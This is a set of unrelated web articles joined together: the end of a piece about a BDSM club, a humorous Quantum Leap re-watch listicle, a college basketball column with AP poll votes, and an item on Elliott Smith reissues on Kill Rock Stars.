pounds. It's Southern yellow pine. It's a good example of why people play here. You can have a Saint Andrew's Cross at home, but typically they're made out of 2-by-4s, they fold up and go under your bed. Something like that is going to wiggle, wobble, but 440 pounds isn't going to go anywhere." The cross is an oversized, unwieldy "X" with metal cuffs on each of its four ends. Named after the diagonal crucifix that Saint Andrew was said to have been killed on, it's a popular kinky contraption because of its versatility. It forces participants into a spread-eagle position, while placing them at eye level with the dom. "Our membership crosses completely the socioeconomic rainbow," Mercury says. "We are just a subset and a sampling of the entire population. Our landlord has asked us in the past, 'What kind of people do you have down there?' And I say, 'Well, have you ever been to Kroger?' And he says yeah. And I say, 'We're the same people that you find at Kroger.' And he says, 'Really? ... Which Kroger?' " For More Sex Issue: Gimme Friction Need a Little Sugar? The Rules of Attraction Trampled Underfoot My Life as Mr. Big |
It is hard to hate Quantum Leap, the NBC sci-fi series which debuted in 1989 and was canceled in 1993 after completing its fifth season. The show is so utterly well-meaning, following the lovably gee-whiz Sam Beckett (Scott Bakula) as a scientist whose experiment “leaves him leaping from life to life, striving to put right what once went wrong, and hoping that his next leap will be the leap home.” That just warms the heart, doesn’t it? On the other hand, Quantum Leap is very easy to mock, largely due to its remarkably earnest tone and many “very special episodes,” like a sci-fi Blossom. Sam is fate’s grunt soldier, fixing broken relationships, saving one life at a time, and occasionally running into young versions of celebrities, e.g., Stephen King, Buddy Holly and Michael Jackson. However, he’s constantly faced with the prejudices of our past which leads to plenty of sermonizing. His best bud Al (Dean Stockwell) is always around for a reliable one-liner, but even he gets in on the sermonizing and turns out to have led an insanely eventful life, with an ever-growing list of prior careers and ex-wives. In general, there’s an awful lot of plot convenience to what Sam and Al turn out to be capable of. Plus, the mechanics of the time traveling component of the show are pretty wonky, and what they thought the future was going to look like was hilariously inaccurate. Those are the types of things which really jump out at me every time I re-watch Quantum Leap. My love for the show has not faded, but my willingness to mock it has sure increased. There are plot holes and awkward moments galore as well as some simple reminders of how much TV culture has changed since Quantum Leap went off the air. 1) God or Fate or Whatever Sure Has a Sick Sense of Humor Almost every single Quantum Leap episode ends with Sam being thrown into the deep end in a new and terrifying situation, forcing him to either sink or swim. That’s a pretty shitty existence, going from smiling earnestly one second to walking on a stage in front of a packed theater of people waiting to hear you play piano the next second. But boy did it make for good television. It’s one of the things that makes Quantum Leap so compulsively watchable, its every episode ending on a cliffhanger in which Sam has no idea what to do next and lets outs an exasperated, “Oh boy.” However, if we ignore the part where this is a TV show with a story structure designed to keep viewers hooked, and think of the logic of the show’s own universe it becomes pretty apparent that God or fate or whatever the heck it was leaping Sam throughout time has a wickedly dark sense of humor. Seriously, why couldn’t Sam have ever been allowed to simply leap into someone sitting around their living room watching TV, with maybe their wallet (and thus a quickly accessible method of identification) laid out on the table in front of them? Nope, instead Sam got dropped into situations like this: And this: Is any of that really necessary for Sam being able to put right what once went wrong? Absolutely not. God or fate or whatever just really liked watching the poor bastard squirm. 2) Sometimes Sam & Al Just Weren’t That Bright Al is “a hologram that only Sam can see and hear.” It’s right there in the show’s voice-over prologue. However, sometimes both Al and Sam seemed to forget that, the most egregious example being the time Sam tried to throw a pie at Al’s face in the season 4 episode “Stand Up”: And Al behaved as if he 100% believed he was in real “pie on face” danger: Sam usually gets the benefit of the doubt because, well, he’s damaged goods with his ultra convenient/inconvenient “Swiss cheese” memory. But Al? Was he just humoring his mentally compromised best friend, the way one might tolerate a “not quite right” uncle’s insistence that he did actually magically produce the 7 of hearts when doing a card trick? Was he just so caught up in the situation he forgot he was just a hologram? Or maybe is it just that sometimes Sam and Al appeared to have taken complete leave of their senses in the show’s effort for comic scenes between the two? Fine, it’s obviously the latter. 3) Some Innocent People Had Their Lives Ruined By Sam For a show whose own series finale was shockingly bittersweet, Quantum Leap was built on happy endings. Most if not all episodes ended with Al assuring Sam (and by extension the audience) that everything worked out a-okay for all involved. However, when you think about it in some cases that doesn’t seem true. Case in point, in “Shock Theater” Sam develops multiple personality disorder as the result of being leaped into a mental hospital patient who immediately receives traumatic electroshock therapy (again, with God and his dark sense of humor). Sam keeps shifting back and forth between adopting the various identities of those he’d once leaped into in the past. To save his own life and maintain his connection with Al, Sam needs to have electroshock re-administered to him at a dangerously high voltage. He, while believing himself to be a mentally challenged man named Jimmy and thus slurring his speech, manages to pull it off by desperately pleading with the attending nurse, “If you don’t shock Jimmy Al go away.” Waaaaaaaiiiiiiiit a minute here. I get that the historic period of the episode (specifically 1954) is meant to comment upon the early days of medicine in relation to mental health and conditions like multiple personality disorder or schizophrenia. In that way, this is Quantum Leap‘s own version Sybil. Al even references Sybil in the episode! So, none of the doctors or nurses truly know what the heck is going on with Sam. However, even though a perfectly timed dosage of electroshock at the same near-fatal dosage as the therapy that triggered the multiple personality disorder is what Sam needs it’s not necessarily what the person he leaped into needs nor is it medically advisable. In the course of the episode, the generally sympathetic nurse argues that 200V is a potentially fatal voltage, administering electroshock therapy twice in 48 hours could kill the patient and that only doctors are allowed to administer the therapy, a fact confirmed by one of the doctors. Yet she is the one to administer electroshock to Sam at 200V while the Doctor and orderly are arguing. This is supposed to be a big, heroic moment, but, wait, didn’t the episode establish that what she does could actually kill the patient? Yep, pretty effectively, too. How do you think it’s going to go over in a Morbidity & Mortality meeting if when asked why she gave the patient a fatal dosage of electroshock therapy she replies, “He said if I didn’t do it his imaginary friend was going to go away”? She might end up a patient at that very mental hospital, oh irony of ironies, or at the very least mentally anguished, haunted by frequent “Why did I do it?” thought. However, even if the nurse had been wrong about both the voltage and frequency of treatment being fatal she still broke the rules by administering treatment and is likely looking at some serious repercussions in her career. That is but one example of a happy ending being not so happy and an otherwise nice and decent person whose life was potentially screwed by Sam Beckett. 4) Al Totally Amy Pond’d a Poor Little Girl Except Even Worse In the Doctor Who episode “The 11th Hour,” the Doctor encounters an adorable little Scottish girl named Amelia Pond. He promises to take her to the stars and on an adventure, but when he fails to return she had to go through years of therapy as no one believed her tale of a “raggedy doctor” who literally fell from the sky. The thing here is that, crucially, the Doctor did eventually come back, and he never intentionally misled poor Amelia. He just really sucks at getting time coordinates right. So, what then, do we make of the final scene from Quantum Leap‘s season 2 episode of “Another Mother”? By this point, the only thing preventing Sam from leaping is Al’s need to say goodbye to the adorable daughter of the woman Sam leaped into. Falling into that kid/mentally challenged/animal spectrum of people who can actually see Al other than Sam, the girl had grown attached to Al and him to her. What proceeds is a genuinely sweet scene between a young child actress who mostly flashes her big white eyes at Stockwell as he promises to come back to see her again real soon. Liar! Al can’t go back. He’s not really a time traveler who can just go anywhere he wants; he is linked to Sam’s brain and can only go to a place and time where Sam is present. Unless Sam leaps back into that family with the little girl, Al has no way of following through on his promise. That poor little girl probably had years of therapy after that, refusing to back down from her claims of a strange imaginary man from the future who was going to come back to see her any minute now, just you wait and see. “Oh, it was just an imaginary friend” they’ll all say, angering her even more. Of course, that imaginary friend may be the least of their concerns since that little girl will probably also swear up and down that for around a week mommy went missing and a nice man named Sam pretended to be her and dressed in her clothes. 5) Nope, You Didn’t Dream It – Al Really Did Rap in One Episode Some things are so strange, so bizarre, so impossible sounding you can convince yourself over time that you simply made it up. For example, was Creed ever really a super popular band? That didn’t really happen, did it? Well, in the case of Quantum Leap re-watching it reveals that one insane thing you might have convinced yourself was but a fever dream of your’s actually happened. I present, with utter, utter regret, rappin’ Al from “Shock Theater”: With Sam a bit busy being 12 different versions of himself, it is up to Al to right the wrong, and in this case, it means teaching a man how to read. Why? Ah, who cares. Why does Al think simply teaching him a song about the alphabet will automatically guarantee his ability to read? Ah, again, who cares. The bigger issue here is simply what in the hell were they thinking by having Dean freakin’ Stockwell perform a rap song on a national television show in 1991? In fact, years later they included that song, “ABC Rap,” on the show’s official soundtrack meaning you can go buy “ABC Rap” on iTunes right now. Mercifully, M.C. Stockwell’s long-awaited rap album “Nozzles, Cigars & Bazoombas” never materialized 6) Sam Was a Man-Whore Cheating on the Wife Waiting for Him Back Home Every Quantum Leap episode other than the pilot features a moment during the opening credits where we see a montage of Sam’s best kisses with woman from the show’s history to that point. Of course, there’d be plenty of kiss scenes to show – the dude got some serious action as the show sought to appeal to Bakula’s female fanbase. It is also the natural by-product of an episodic show with a central male character who is both a lover and a fighter – he’s going to have a ton of love interests. The same thing was true of Kirk on Star Trek: The Original Series. But at least there was no woman waiting at home for Sam, no woman so despondent with loneliness she looks up at stars at night and imagines one of them talking back to her with Sam’s voice, right? Then the season 4 premiere (“The Leap Back”) happened, and we learn that bachelor Sam had changed his own history on a previous leap in the first season resulting in him having now actually been a married man this entire time. Knowing that from the get-go when re-watching the show makes a fun game out of, “I wonder how close Donna was to complete breakdown this week based upon Sam’s romancing of yet another woman.” To be fair, in “The Leap Back” Donna actually forgives Sam for his many, many infidelities because his memory loss meant he didn’t know he had anyone to whom he’d pledged to be faithful. There was always a strange dynamic to sexuality on the show, in which Al and his consistent references to nice “bazoombas” and “gazongas” was a horndog for Sam to admonish. Who the hell is he to talk, though? He fell in love with women sometimes at the literal drop of a hat, bedded them, and then left them high and dry for his next leap. Man, at least Al knew what he was. Sam? He was a total man-whore; he just didn’t know it. 7) Our Definition of Physical Fitness Sure Has Changed Back in the day, Scott Bakula was what might best be described as man candy. His Sam Beckett was the consummate sensitive 90s male, not afraid to cry (and boy did it show) but tough enough to stand up for what’s right. So, obviously, the show featured Bakula shirtless…a lot. Like at least once every other episode. Wait, that’s what qualified as a sex symbol back then? Don’t get me wrong – Bakula looks fantastic. He’s clearly in good shape. It’s just that nutrition and body shaping sciences have advanced so much that we now have constantly shirtless male stars of TV shows who look like this: Advantage? Stephen Amell of Arrow. Well, I guess the true advantage goes to the viewer inclined to find such sights appealing as neither are in anything remotely resembling bad shape. Re-watching an older show like Quantum Leap centered around a male sex symbol shows just how much our image of that type of person is ever-shifting in response to the advances in abdominal muscle-shaping glory. 8) They Were Desperate For Ratings That Last Season It’s always kind of sad when you see your favorite show trying too hard to get big ratings. However, sometimes when you watch older shows in syndication or on Netflix you may not be aware of it because your viewing is happening so long after the fact. But let’s look at what Quantum Leap did in its fifth and final season: Sam Leaping Into Dr. Ruth, Elvis, and Lee-Harvey Oswald Even Though He Wasn’t Supposed to Leap Into Historical Figures Sam Leaping Into Someone Working for Marilyn Monroe Sam Leaping Into the Civil War Even Thought He Wasn’t Supposed to be Able to Leap Outside of His Own Lifetime A Trilogy Focused Upon Sam Being the Father, the Lover, and then the Court Defender of One Woman At 3 Different Stages in Her Life A Trilogy Focused on the Concept of There Being Evil Leapers Out There Just As Sam is a Good Leaper Stunt-casting of Brooke Shields in an episode somewhat recreating the scenario of her film Blue Lagoon Sam leaping into a vampire Some, if not most, of these episodes are pretty good. The trilogy focused on Abigail was admirably ambitious, and the concept of an evil yin to Sam’s not-evil yang was long overdue. However, taken as a whole it becomes pretty apparent they were ditching all of their old rules and just throwing everything at the wall in the hopes of getting the ratings necessary for a sixth season (epic fail on their part). Plus, they re-did their theme song – you know, their amazing, instantly hummable Mike Post-composed theme song. They made it oddly insistent and energetic in a desperate “Please watch our show, we have pep now” fashion: Alas, they got themselves canceled. But I really like Quantum Leap. Let’s end on a positive note. What is a good truth learned from re-watching Quantum Leap? Most of Your Favorite Episodes Are Still Amazing “MIA,” “The Leap Home,” “The Leap Back,” “Catch a Falling Star,” and many, many other beloved Quantum Leap episodes are still as good as they ever were. What about you? Any things you’ve noticed upon re-watch? Liked the show but never actually went back and re-watched it? Let us know in the comments. This post is partially a result of years of joking with my best friend Julianne. Click here to check out her picks for Quantum Leap‘s 10 best episodes. Advertisements |
CLEVELAND, Ohio -- College basketball, behind the scenes, shows signs of becoming like NASCAR, constantly changing the rules to address whatever the perceived problem of the day is. The stories are linked everywhere. There is a push to trim the 35-second clock back to 30 seconds and to widen the court for more freedom of movement. This is an attempt to speed up the game to improve scoring. Neither hits the real problem. Try coaching. Fundamentals, such as improved free-throw shooting, would go a long way toward getting point totals up. The most recent rules change, putting a semicircle under the basket and limiting the ability of post players to take a charge, has helped lead to a lot more free throws. That has exposed the fact many players/teams can't shoot well from the line. Where 68 percent team free throw shooting used to be considered marginal, the best conference in the country, the ACC, had eight teams shoot less than 68 percent from the line in their last game. The culprits might surprise you. Florida State (66.7), Louisville (61.4), Wake Forest (59.3), North Carolina State (57.9), Boston College (55.6), North Carolina (55.0), Miami (54.5) and Duke (53.8). Four of those teams were in the last AP Top 25 poll. Two of them (Duke and Louisville) were in the Top 10. Just FYI: There are only nine players in the country shooting better than 90 percent on free throws according to the latest NCAA stats. The leader is Riley Grabau from Wyoming at 94.1 percent, followed by Jarekious Bradley at Southeast Missouri State (who began his career at Kent State) at 93.1 percent. What to do: If coaches want a rule change, try this. Eliminate the 3-seconds call. Mandate, the final 25 seconds of the shot-clock, there must be an offensive player inside the paint at all times. He can still set screens, and step out for jump shots, but there must be a 'post' player in the paint at all time. This would also open the perimeter for more freedom of movement and might also encourage more true inside scoring, which could lead to more points overall. Only one left: The Kentucky Wildcats (21-0, 8-0) are now the only team in the country that is undefeated after Virginia fell last week to Duke (when Duke shot 53.8 percent from the line). If you're curious, Feb. 10 at LSU and Feb. 28 vs. Arkansas look to the prime opportunities for the Wildcats to get their first loss, if at all. Just so you know, the Wildcats -- consensus No. 1 in the nation and favored to win the national championship -- are shooting 69.0 percent from the line this season. At the other end of the spectrum there are just two winless teams remaining -- Florida A&M (0-21) and Central Arkansas (0-18). Savannah State (5-16), in the last game of the season, looks to be FAMU's best hope for a win; Feb. 7, vs. New Orleans (6-11) might be it for Central Arkansas. Coming to Cleveland: Conference-USA has a lot of bottom feeders dragging that conference down, with nine of the 14 teams in the league sitting .500 or worse overall. But at the top is Louisiana Tech (17-5, 8-1), ahead of Western Kentucky (15-6, 8-1), a team it has already defeated, and No. 3 UAB, (11-11, 7-2), another team it has defeated. While the computers rank C-USA No. 4 Old Dominion (17-4, 6-3) a lofty No. 40 in the nation, the Monarchs have a lot of work to do to catch up to the No. 98 Bulldogs, who are in the NCAA Top 100 teams in scoring per game (74.3 points), field-goal percentage (45.4 percent), blocked shots (5.7) and steals (8.3). Louisiana Tech will likely be an 11-12-13 seed at best, but that's where NCAA Tournament teams capable of upsets normally reside, which could see them land in Cleveland for the NCAA Tournament Midwest Regional in March. Inside the Top 25: A whopping 13 teams in the AP Top 25 lost at least one game last week and the range went from top to bottom. Look for several Big Ten teams to move around this week in the poll, with Ohio State likely to make a return to the AP list. Key games this week: Monday - Virginia at North Carolina, 7 p.m., ESPN. Monday - Iowa State at Kansas, 9 p.m., ESPN. Wednesday - Creighton at Xavier, 9 p.m., Fox Sports I. Thursday - Gonzaga at Santa Clara, 11 p.m., ESPNU. Saturday - Baylor at West Virginia, noon, ESPNU. Top 25 poll vote: Here's how I voted this week in the AP Top 25 poll. 1. Kentucky 2. Gonzaga 3. Wisconsin 4. Duke 5. Virginia 6. Arizona 7. Villanova 8. Kansas 9. Louisville 10 Notre Dame 11. Iowa State 12. West Virginia 13. Northern Iowa 14. Utah 15. Wichita State 16. North Carolina 17. VCU 18. Maryland 19. Oklahoma 20. Butler 21. Baylor 22. Texas A&M 23. Ohio State 24. Indiana 25 Tulsa |
The Pacific Northwest indie label Kill Rock Stars and the tragic, beloved singer-songwriter Elliott Smith have a long history together. Before he decamped for DreamWorks and hit the mainstream via Good Will Hunting, Smith released two intimate, absolutely stone-classic records on KRS: 1995's self-titled album and 1997's Either/Or. In 2007, four years after Smith's death, KRS released the posthumous double-CD rarities collection New Moon. And next year, the label will reissue two more Smith albums: his 1994 solo debut Roman Candle (originally released on Cavity Search) and the 2004 posthumous full-length From a Basement on the Hill (originally released on Anti-). Both reissues are due April 6. Tape Op Magazine editor and Smith archivist Larry Crane has remastered Roman Candle, and this reissue marks the first time it'll be available on vinyl in the U.S. When the reissues drop, every Smith album other than his two major label albums (1998's XO and 2000's Figure 8) will be available via KRS. In honor of the reissues, KRS has a nice surprise for us: "Cecilia/Amanda", an unreleased Smith solo track that Crane recorded in 1997. The track is a rewrite of "Time Is Ours Now", a song from the early Smith band Stranger Than Fiction. Stream and download the song below: Elliott Smith: CeciliaAmanda |
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